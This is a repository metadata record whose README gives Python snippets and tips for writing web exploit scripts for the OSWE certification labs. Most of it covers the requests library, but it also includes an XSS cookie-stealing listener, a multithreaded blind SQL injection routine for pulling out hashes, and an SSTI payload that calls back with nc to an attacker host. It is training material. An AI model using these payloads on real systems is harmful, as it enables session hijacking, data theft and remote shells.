{"id":16471110,"url":"https://github.com/rizemon/exploit-writing-for-oswe","last_synced_at":"2025-04-05T02:08:20.548Z","repository":{"id":87891673,"uuid":"605371495","full_name":"rizemon/exploit-writing-for-oswe","owner":"rizemon","description":"Tips on how to write exploit scripts (faster!)","archived":false,"fork":false,"pushed_at":"2024-07-15T08:02:32.000Z","size":74,"stargazers_count":473,"open_issues_count":1,"forks_count":102,"subscribers_count":5,"default_branch":"main","last_synced_at":"2025-03-29T01:05:28.114Z","etag":null,"topics":["awae","awae-prep","cross-site-scripting","oswe","oswe-prep","python","python3","requests","sql-injection","sqli","web-exploitation","xss"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/rizemon.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-02-23T02:27:30.000Z","updated_at":"2025-03-28T13:56:14.000Z","dependencies_parsed_at":null,"dependency_job_id":"ff5e5adc-cab7-4342-a65c-b13d3aaf28d4","html_url":"https://github.com/rizemon/exploit-writing-for-oswe","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rizemon%2Fexploit-writing-for-oswe","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rizemon%2Fexploit-writing-for-oswe/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rizemon%2Fexploit-writing-for-oswe/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rizemon%2Fexploit-writing-for-oswe/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/rizemon","download_url":"https://codeload.github.com/rizemon/exploit-writing-for-oswe/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247276164,"owners_count":20912288,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["awae","awae-prep","cross-site-scripting","oswe","oswe-prep","python","python3","requests","sql-injection","sqli","web-exploitation","xss"],"created_at":"2024-10-11T12:12:40.111Z","updated_at":"2025-04-05T02:08:20.516Z","avatar_url":"https://github.com/rizemon.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# Exploit Writing for OSWE\n\n## \u003ca name='Background'\u003e\u003c/a\u003eBackground\n\n### \u003ca name='What'\u003e\u003c/a\u003eWhat\n\nThis repository contains a list of useful snippets and tips that pertain to the writing of exploit scripts in the OSWE labs and certification exam.\n\nSome examples here may go against certain coding practices, but our end goal is to write the exploit script fast and correct.\n\n\u003e The [Code Snippets](#code-snippets) section is a great place to start if you are not experienced in using the `requests` library or are new to Python. Otherwise, feel free to skip to the [Reusable Code](#reusable-code) section or the [Tips](#tips) section.\n\n### \u003ca name='Why'\u003e\u003c/a\u003eWhy\n\n* While there are many write-ups, reviews, and notes on the certification, few resources specifically focus on the process of writing exploits.\n* Writing the exploit script can be daunting, especially for those who are new to Python or have little experience interacting with web applications through code.\n* Time spent on identifying vulnerabilities and documenting an exam report can fluctuate considerably, but the time spent on developing the exploit script can be **minimized and kept constant** if mastered well.\n\n---\n\n## \u003ca name='TableofContents'\u003e\u003c/a\u003eTable of Contents\n\n\u003c!-- vscode-markdown-toc --\u003e\n- [Exploit Writing for OSWE](#exploit-writing-for-oswe)\n  - [Background](#background)\n    - [What](#what)\n    - [Why](#why)\n  - [Table of Contents](#table-of-contents)\n  - [Code Snippets](#code-snippets)\n    - [Starting Template](#starting-template)\n    - [Useful imports](#useful-imports)\n    - [Using the `requests` library](#using-the-requests-library)\n      - [Sending the simplest HTTP request](#sending-the-simplest-http-request)\n      - [Specifying different HTTP methods](#specifying-different-http-methods)\n      - [Reading the HTTP response](#reading-the-http-response)\n      - [Sending data as a query string in the URL (Using `params` argument)](#sending-data-as-a-query-string-in-the-url-using-params-argument)\n      - [Sending data as a query string in the body (Using `data` argument)](#sending-data-as-a-query-string-in-the-body-using-data-argument)\n      - [Sending data as a JSON in the body (Using `json` argument)](#sending-data-as-a-json-in-the-body-using-json-argument)\n      - [Sending a file in the body (Using `files` argument)](#sending-a-file-in-the-body-using-files-argument)\n      - [Setting HTTP headers (Using `headers` argument)](#setting-http-headers-using-headers-argument)\n      - [Setting HTTP cookies (Using `cookies` argument)](#setting-http-cookies-using-cookies-argument)\n      - [Disabling following of `3XX` redirects (Using `allow_redirects` argument)](#disabling-following-of-3xx-redirects-using-allow_redirects-argument)\n      - [Interacting with an unverified HTTPS server (Using `verify` argument)](#interacting-with-an-unverified-https-server-using-verify-argument)\n      - [Sending request through a HTTP proxy (Using `proxies` argument)](#sending-request-through-a-http-proxy-using-proxies-argument)\n      - [Creating a `Session`](#creating-a-session)\n      - [Setting persistent cookies](#setting-persistent-cookies)\n      - [Setting persistent headers](#setting-persistent-headers)\n    - [Troubleshooting](#troubleshooting)\n      - [Use Wireshark and filter for HTTP requests](#use-wireshark-and-filter-for-http-requests)\n      - [Print contents of the HTTP request](#print-contents-of-the-http-request)\n      - [Proxy HTTP request through Burp Suite and inspect](#proxy-http-request-through-burp-suite-and-inspect)\n    - [Reusable code](#reusable-code)\n      - [Serving files via HTTP](#serving-files-via-http)\n      - [Stealing HTTP cookies](#stealing-http-cookies)\n      - [Speeding up SQL injections](#speeding-up-sql-injections)\n  - [Tips](#tips)\n    - [Perform a sanity check after every HTTP request using `assert`](#perform-a-sanity-check-after-every-http-request-using-assert)\n    - [Print meaning messages after each step](#print-meaning-messages-after-each-step)\n    - [Separate each exploitation step into its own function](#separate-each-exploitation-step-into-its-own-function)\n    - [Create a global `Session` object so it does not need to be explictly passed to each function call](#create-a-global-session-object-so-it-does-not-need-to-be-explictly-passed-to-each-function-call)\n    - [Create a global `BASE_URL` string and construct the required URLs from it](#create-a-global-base_url-string-and-construct-the-required-urls-from-it)\n    - [To force all HTTP requests to go through Burp Suite without the use of the `proxies` argument , set the `HTTP_PROXY` / `HTTPS_PROXY` environment variable when running](#to-force-all-http-requests-to-go-through-burp-suite-without-the-use-of-the-proxies-argument--set-the-http_proxy--https_proxy-environment-variable-when-running)\n    - [Apply encoding/decoding scheme(s) to enable safe transmission of payloads](#apply-encodingdecoding-schemes-to-enable-safe-transmission-of-payloads)\n    - [Use `\"\"\"` to create the payload string if it contains both single (`'`) and double quotes (`\"`)](#use--to-create-the-payload-string-if-it-contains-both-single--and-double-quotes-)\n    - [Speed up SQL injections using multithreading](#speed-up-sql-injections-using-multithreading)\n    - [Hardcode an authenticated user's cookie when developing exploits for authenticated features](#hardcode-an-authenticated-users-cookie-when-developing-exploits-for-authenticated-features)\n    - [Avoid using f-strings (`f\"\"`) or `str.format` if the payload contains too many curly braces (`{}`)](#avoid-using-f-strings-f-or-strformat-if-the-payload-contains-too-many-curly-braces-)\n\n\u003c!-- vscode-markdown-toc-config\n\tnumbering=false\n\tautoSave=true\n\t/vscode-markdown-toc-config --\u003e\n\u003c!-- /vscode-markdown-toc --\u003e\n\n---\n\n## \u003ca name='CodeSnippets'\u003e\u003c/a\u003eCode Snippets\n\n### \u003ca name='StartingTemplate'\u003e\u003c/a\u003eStarting Template\n\n```python\nimport requests\n\ndef main():\n    print(\"Hello World!\")\n\nif __name__ == __main__:\n    main()\n```\n\n### \u003ca name='Usefulimports'\u003e\u003c/a\u003eUseful imports\n\n```python\n# For sending HTTP requests\nimport requests\n\n# For Base64 encoding/decoding\nfrom base64 import b64encode, b64decode, urlsafe_b64encode, urlsafe_b64decode\n\n# For getting current time or for calculating time delays\nfrom time import time\n\n# For regular expressions\nimport re\n\n# For running shell commands\nimport subprocess\n\n# For multithreading\nfrom concurrent.futures import ThreadPoolExecutor\n\n# For running a HTTP server in the background\nimport threading\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\n# For parsing HTTP cookies\nfrom http import cookies\n\n# For getting command-line arguments\nimport sys\n```\n\n### \u003ca name='Usingtherequestslibrary'\u003e\u003c/a\u003eUsing the `requests` library\n\n#### \u003ca name='SendingthesimplestHTTPrequest'\u003e\u003c/a\u003eSending the simplest HTTP request\n\n```python\nresp_obj = requests.get(\"https://github.com\")\n```\n\n#### \u003ca name='SpecifyingdifferentHTTPmethods'\u003e\u003c/a\u003eSpecifying different HTTP methods\n\n```python\n# GET method\nrequests.get(\"https://github.com\")\n\n# POST method\nrequests.post(\"https://github.com\")\n\n# PUT method\nrequests.put(\"https://github.com\")\n\n# PATCH method\nrequests.patch(\"https://github.com\")\n\n# DELETE method\nrequests.delete(\"https://github.com\")\n```\n\n#### \u003ca name='ReadingtheHTTPresponse'\u003e\u003c/a\u003eReading the HTTP response\n\n```python\nresp_obj = requests.get(\"https://github.com\")\n\n# HTTP status code (e.g 404, 500, 301)\nresp_obj.status_code\n\n# HTTP response headers (e.g Location, Content-Disposition)\nresp_obj.headers[\"Location\"]\n\n# Body as bytes\nresp_obj.content\n\n# Body as a string\nresp_obj.text\n\n# Body as a dictionary (if body is a JSON)\nresp_obj.json()\n```\n\n#### \u003ca name='SendingdataasaquerystringintheURLUsingparamsargument'\u003e\u003c/a\u003eSending data as a query string in the URL (Using `params` argument)\n\n```python\nparams = {\n    \"foo\": \"bar\"\n}\n\nrequests.get(\"https://github.com\", params=params)\n```\n\n#### \u003ca name='SendingdataasaquerystringinthebodyUsingdataargument'\u003e\u003c/a\u003eSending data as a query string in the body (Using `data` argument)\n\n```python\ndata = {\n    \"foo\": \"bar\"\n}\n\nrequests.post(\"https://github.com\", data=data)\n```\n\n#### \u003ca name='SendingdataasaJSONinthebodyUsingjsonargument'\u003e\u003c/a\u003eSending data as a JSON in the body (Using `json` argument)\n\n```python\ndata = {\n    \"foo\": \"bar\"\n}\n\nrequests.post(\"https://github.com\", json=data)\n```\n\n#### \u003ca name='SendingafileinthebodyUsingfilesargument'\u003e\u003c/a\u003eSending a file in the body (Using `files` argument)\n\n```python\nfiles = {\n    #                (FILE_NAME, FILE_CONTENTS, FILE_MIMETYPE)\n    \"uploaded_file\": (\"phpinfo.php\", b\"\u003c?php phpinfo() ?\u003e\", \"application/x-httpd-php\")\n}\n\nrequests.post(\"https://github.com\", files=files)\n```\n\n#### \u003ca name='SettingHTTPheadersUsingheadersargument'\u003e\u003c/a\u003eSetting HTTP headers (Using `headers` argument)\n\n```python\nheaders = {\n    \"X-Forwarded-For\": \"127.0.0.1\"\n}\n\nrequests.get(\"https://github.com\", headers=headers)\n```\n\n#### \u003ca name='SettingHTTPcookiesUsingcookiesargument'\u003e\u003c/a\u003eSetting HTTP cookies (Using `cookies` argument)\n\n```python\ncookies = {\n    \"PHPSESSID\": \"fakesession\"\n}\n\nrequests.get(\"https://github.com\", cookies=cookies)\n```\n\n#### \u003ca name='Disablingfollowingof3XXredirectsUsingallow_redirectsargument'\u003e\u003c/a\u003eDisabling following of `3XX` redirects (Using `allow_redirects` argument)\n\n```python\nrequests.post(\"https://github.com/login\", allow_redirects=False)\n```\n\n#### \u003ca name='InteractingwithanunverifiedHTTPSserverUsingverifyargument'\u003e\u003c/a\u003eInteracting with an unverified HTTPS server (Using `verify` argument)\n\n```python\n# Supresses InsecureRequestWarning messages\nrequests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)\n\nrequests.get(\"https://github.com\", verify=False)\n```\n\n#### \u003ca name='SendingrequestthroughaHTTPproxyUsingproxiesargument'\u003e\u003c/a\u003eSending request through a HTTP proxy (Using `proxies` argument)\n\n```python\nproxies = {\n    \"HTTP\": \"http://127.0.0.1:8080\",\n    \"HTTPS\": \"http://127.0.0.1:8080\"\n}\n\nrequests.get(\"https://github.com\", proxies=proxies)\n```\n\n#### \u003ca name='CreatingaSession'\u003e\u003c/a\u003eCreating a `Session`\n\n```python\nsession = requests.Session()\nsession.get(\"https://github.com\")\n```\n\n#### \u003ca name='Settingpersistentcookies'\u003e\u003c/a\u003eSetting persistent cookies\n\n```python\nsession = requests.Session()\nsession.cookies.update({\"PHPSESSID\": \"fakesession\"})\n```\n\n#### \u003ca name='Settingpersistentheaders'\u003e\u003c/a\u003eSetting persistent headers\n\n```python\nsession = requests.Session()\nsession.headers[\"Authorization\"] = \"Basic 123\"\n```\n\n### \u003ca name='Troubleshooting'\u003e\u003c/a\u003eTroubleshooting\n\n#### \u003ca name='UseWiresharkandfilterforHTTPrequests'\u003e\u003c/a\u003eUse Wireshark and filter for HTTP requests\n\n1) Open Wireshark\n2) Select the VPN interface (e.g `tun0`)\n3) Enter `http` into the filter bar.\n\n#### \u003ca name='PrintcontentsoftheHTTPrequest'\u003e\u003c/a\u003ePrint contents of the HTTP request\n\n```python\ndata = {\n    \"foo\": \"bar\"\n}\nresp_obj = requests.post(\"https://github.com\", data=data)\nprepared_request = resp_obj.request\n\nprint(\"Method:\\n\", prepared_request.method)\nprint()\nprint(\"URL:\\n\", prepared_request.url)\nprint()\nprint(\"Headers:\\n\", prepared_request.headers)\nprint()\nprint(\"Body:\\n\", prepared_request.body)\n```\n\n#### \u003ca name='ProxyHTTPrequestthroughBurpSuiteandinspect'\u003e\u003c/a\u003eProxy HTTP request through Burp Suite and inspect\n\n1) Open Burp Suite\n2) Navigate to \"Proxy\" Tab and set \"Intercept\" to \"On\".\n\n### \u003ca name='Reusablecode'\u003e\u003c/a\u003eReusable code\n\n#### \u003ca name='ServingfilesviaHTTP'\u003e\u003c/a\u003eServing files via HTTP\n\n```python\nLHOST      = \"10.0.0.1\"\nWEB_PORT   = 8000\nJS_PAYLOAD = \"\u003cscript\u003ealert(1)\u003c/script\u003e\"\n\ndef start_web_server():\n    class MyHandler(BaseHTTPRequestHandler):\n        # Uncomment this method to suppress HTTP logs\n        # def log_message(self, format, *args):\n        #     return\n\n        def do_GET(self):\n            if self.path.endswith('/payload.js'):\n                self.send_response(200)\n                self.send_header(\"Content-Type\", \"application/javascript\")\n                self.send_header(\"Content-Length\", str(len(JS_PAYLOAD)))\n                self.end_headers()\n                self.wfile.write(JS_PAYLOAD.encode())\n            \n    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)\n    threading.Thread(target=httpd.serve_forever).start()\n\nstart_web_server()\n```\n\n#### \u003ca name='StealingHTTPcookies'\u003e\u003c/a\u003eStealing HTTP cookies\n\n```python\nLHOST      = \"10.0.0.1\"\nWEB_PORT   = 8000\n\nrequests = requests.Session()\nxss_event = threading.Event() # Signifies when victim sends their cookie\n\ndef send_xss_payload():\n    pass\n\ndef start_web_server():\n    class MyHandler(BaseHTTPRequestHandler):\n\n        def do_GET(self):\n            self.send_response(200)\n            self.end_headers()\n\n            # Load stolen cookie into session\n            _, enc_cookie = self.path.split(\"/?cookie=\", 1)\n            plain_cookie = urlsafe_b64decode(enc_cookie).decode()\n            session.cookies[\"PHPSESSID\"] = cookies.SimpleCookie(plain_cookie)[\"PHPSESSID\"]\n\n            xss_event.set() # Trigger the event\n            \n    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)\n    threading.Thread(target=httpd.serve_forever).start()\n\nstart_web_server()\nsend_xss_payload()\nxss_event.wait() # Wait for event to be triggered\nprint(\"[+] Stolen cookie:\", session.cookies[\"PHPSESSID\"])\n```\n\n#### \u003ca name='SpeedingupSQLinjections'\u003e\u003c/a\u003eSpeeding up SQL injections\n\n```python\nMAX_WORKERS = 20\nHASH_LENGTH = 32\n\ndef exfiltrate_hash():\n\n    def boolean_sqli(arguments):\n        idx, ascii_val = arguments\n        # ...\n        # Perform SQLi and store boolean outcome into truth\n        # ...\n        return ascii_val, truth\n\n    result = \"\"\n\n    # Go through each character position\n    for idx in range(HASH_LENGTH):\n\n        # Use MAX_WORKERS threads to test possible ASCII values in parallel\n        with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:\n            # Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()\n            responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])\n\n        # Go through each response and determine which ASCII value is correct\n        for ascii_val, truth in responses:\n            if truth:\n                result += chr(ascii_val)\n                break\n    \n    return result\n\nhash = exfiltrate_hash()\n```\n\n---\n\n## \u003ca name='Tips'\u003e\u003c/a\u003eTips\n\n### \u003ca name='PerformasanitycheckaftereveryHTTPrequestusingassert'\u003e\u003c/a\u003ePerform a sanity check after every HTTP request using `assert`\n\n* Catch whether a webshell is indeed uploaded before attempting to trigger it\n* Catch whether authentication is sucessful before exploiting authenticated features\n\nExample:\n```python\n# Suppose 302 is returned if successful login\nresp_obj = requests.post(\"http://example.com/login\", data=data, allow_redirect=False)\nassert resp_obj.status_code == 302, \"Login not successful\"\n\n# Suppose admin page is returned if successful login\nresp_obj = requests.post(\"http://example.com/login\", data=data)\nassert \"Admin Dashboard\" in resp_obj.content, \"Login not successful\"\n```\n\n### \u003ca name='Printmeaningmessagesaftereachstep'\u003e\u003c/a\u003ePrint meaning messages after each step\n* Action being started/finished OR\n* Cookies/tokens/files/values that were retrieved\n\nExample:\n```\n[+] Parsed command-line arguments and got:\n  * BASE_URL: http://example.com\n  * LHOST:    127.0.0.1\n  * LPORT:    1337\n[+] Triggered password reset token generation\n[=] Getting password reset token length...\n[+] Got password reset token length: 10\n[=] Retrieving password reset token...\n[+] Got password reset token: FAKE_TOKEN\n```\n\n### \u003ca name='Separateeachexploitationstepintoitsownfunction'\u003e\u003c/a\u003eSeparate each exploitation step into its own function\n\nExample:\n```python\ndef register():\n    pass\n\ndef login():\n    pass\n\ndef rce():\n    pass\n```\n\n### \u003ca name='CreateaglobalSessionobjectsoitdoesnotneedtobeexplictlypassedtoeachfunctioncall'\u003e\u003c/a\u003eCreate a global `Session` object so it does not need to be explictly passed to each function call\n\n```python\nsession = requests.Session()\n\ndef login():\n    session.post(...)\n\ndef rce():\n    session.post(...)\n```\n\n### \u003ca name='CreateaglobalBASE_URLstringandconstructtherequiredURLsfromit'\u003e\u003c/a\u003eCreate a global `BASE_URL` string and construct the required URLs from it\n\n```python\nBASE_URL = \"\"\nsession = requests.Session()\n\ndef login():\n    url = BASE_URL + \"/login\"\n    session.post(url, ...)\n\ndef rce():\n    url = BASE_URL + \"/rce\"\n    session.post(url, ...)\n\ndef main():\n    # Allow BASE_URL to be modified\n    global BASE_URL\n    BASE_URL = sys.argv[1]\n...\n```\n\n### \u003ca name='ToforceallHTTPrequeststogothroughBurpSuitewithouttheuseoftheproxiesargumentsettheHTTP_PROXYHTTPS_PROXYenvironmentvariablewhenrunning'\u003e\u003c/a\u003eTo force all HTTP requests to go through Burp Suite without the use of the `proxies` argument , set the `HTTP_PROXY` / `HTTPS_PROXY` environment variable when running\n\n```bash\n$ HTTP_PROXY=http://127.0.0.1:8080 python3 poc.py\n```\n\n### \u003ca name='Applyencodingdecodingschemestoenablesafetransmissionofpayloads'\u003e\u003c/a\u003eApply encoding/decoding scheme(s) to enable safe transmission of payloads\n\n* Base64\n* Hexadecimal\n\n### \u003ca name='Usetocreatethepayloadstringifitcontainsbothsingleanddoublequotes'\u003e\u003c/a\u003eUse `\"\"\"` to create the payload string if it contains both single (`'`) and double quotes (`\"`)\n\nExample:\n```python\npayload = \"\"\"This is a '. This is a \".\"\"\"\n```\n\n### \u003ca name='SpeedupSQLinjectionsusingmultithreading'\u003e\u003c/a\u003eSpeed up SQL injections using multithreading\n\nSee [Speed up SQL Injections](#speeding-up-sql-injections).\n\n### \u003ca name='Hardcodeanauthenticateduserscookiewhendevelopingexploitsforauthenticatedfeatures'\u003e\u003c/a\u003eHardcode an authenticated user's cookie when developing exploits for authenticated features\n\nEspecially if a lot of time-consuming steps had to be done to obtain an authenticated session\n\nExample:\n\n```python\nsession = requests.Session()\n\ndef main():\n    # Skipping these for now...\n    # register()\n    # login()\n\n    # TODO: Delete this line after you are\n    # done developing and uncomment the above steps!\n    session.cookies[\"JSESSIONID\"] = \"ADMIN_COOKIE\"\n\n    # Exploit authenticated features...\n...\n```\n\n### \u003ca name='Avoidusingf-stringsforstr.formatifthepayloadcontainstoomanycurlybraces'\u003e\u003c/a\u003eAvoid using f-strings (`f\"\"`) or `str.format` if the payload contains too many curly braces (`{}`)\n\nDoubling each curly brace just to escape them can be troublesome and error-prone. Instead use simple placeholders and do a `.replace()`!\n\nExample:\n\n```python\n# Too many curly braces\nssti_payload = f\"{{{{ __import__('os').system('nc {LHOST} {LPORT}') }}}}\"\n# Much easier to read\nssti_payload = \"{{ __import__('os').system('nc \u003cLHOST\u003e \u003cLPORT\u003e') }}\"\\\n    .replace(\"\u003cLHOST\u003e\", LHOST)\\\n    .replace(\"\u003cLPORT\u003e\", LPORT)\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frizemon%2Fexploit-writing-for-oswe","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frizemon%2Fexploit-writing-for-oswe","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frizemon%2Fexploit-writing-for-oswe/lists"}